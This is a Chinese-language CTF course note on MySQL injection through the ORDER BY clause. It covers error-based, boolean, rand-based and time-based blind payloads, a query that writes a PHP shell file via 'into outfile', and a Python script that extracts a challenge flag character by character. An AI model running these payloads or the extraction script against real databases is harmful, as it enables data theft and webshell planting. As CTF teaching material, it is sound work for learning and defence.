注:
1.本文是对安全牛《CTF从入门到提升》课程课时6的记录
2.文中的users表是一个示例,有id,username,password三个列

1.order by语法

ORDER BY{column_name[ASC|DESC]},[,…n]

1.1 asc和desc后面还可以加其他列进行多次排序

1
select * from users order by id desc,username desc;
  • 后面的列同样可以用于注入

1.2 order by后的运算

1.2.1 数字运算失效

1
2
select * from users order by (2+1);等效于
select * from users order by 1;
1
2
select * from users order by (3|2);等效于
select * from users order by 1;
  • 即order by后出现数字运算时,无论运算结果是多少,order by总会按照第一列排序

1.2.2 列名进行位运算

假如id列内容为1,2,3

1
select * from users order by id|1;

1
select * from users order by id|2;

的结果会不同,
id|1的结果为1,3,3,所以仍然按照id=1,2,3的顺序排序,
id|2的结果为3,2,3,所以按照id=2,1,3的顺序排序

2. 报错注入

当数据库错误信息有回显时,可以用updatexml进行报错注入
比如

1
2
select * from users order by updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
select * from users order by 1 and updatexml(1,concat(0x7e,database(),0x7e),1);

或者利用procedure analyse

1
select * from users order by 1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

具体报错注入 https://blog.csdn.net/Fly_hps/article/details/79416842

3. 布尔型盲注

3.1 if盲注

1
select * from users order by if(0,id,username);

结果会按照username排序

注意

1
2
select * from users order by if(0,1,2);和
select * from user order by if(0,'id','username');

是不行的,这样还是会按照第一列(即id列)排序

同时无法用desc和asc的判断进行盲注

1
select * from users order by id if(1,desc,asc);

1
select * from users order by id if(1,'desc','asc');

都会报错

3.2 rand盲注

1
select * from users order by rand(true);

1
select * from users order by rand(false);

结果是不同的,可以利用这一点
比如

1
select * from users order by rand(substr(database(),1,1)='s');

4. 基于时间的盲注

1
select * from users order by if(0,id,sleep(1));

这样sleep的时间可能会很长,因为每一列都会sleep(1)一次

5.直接写shell

1
select * from users order by 1 into outfile "D:\\phpstudy\\PHPTutorial\\WWW\\shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020;

6. 例题讲解

题目: http://chall.tasteless.eu/level1/index.php
先把payload放上来

1
http://chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp '^7')%2b1

构成的语句类似于

1
select * from xx order by id | (select (select flag from level1_flag) regexp '^7')+1;

分析:

  1. regexp用于匹配正则表达式
    1
    (select (select flag from level1_flag) regexp '^7')
    意思是如果level1_flag表中的flag列的值以7开头则返回1,否则返回0
  2. 如果1中返回1的话,sql语句会变成
    1
    select * from xx order by id | 2;
    1中返回0的话,sql语句会变成
    1
    select * from xx order by id|1;
    两者返回的页面会不同,依照这点就可以判断flag的内容

附上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
dic = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
flag="^"
common_url="http://chall.tasteless.eu/level1/index.php?dir=|1"
#这里挂了个代理
common_content=requests.get(common_url,{'sock5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}).content
#common_content=requests.get(common_url).content
for i in range(50):
for letter in dic:
payload=flag+letter
url="http://chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp"+"'"+payload+"'"+")%2b1"
print(url)
content=requests.get(url,proxies={'http':'sock5://127.0.0.1:1080','https':'sock5://127.0.0.1:1080'}).content
#content=requests.get(url).content
if(content!=common_content):
flag=payload
print(flag)
break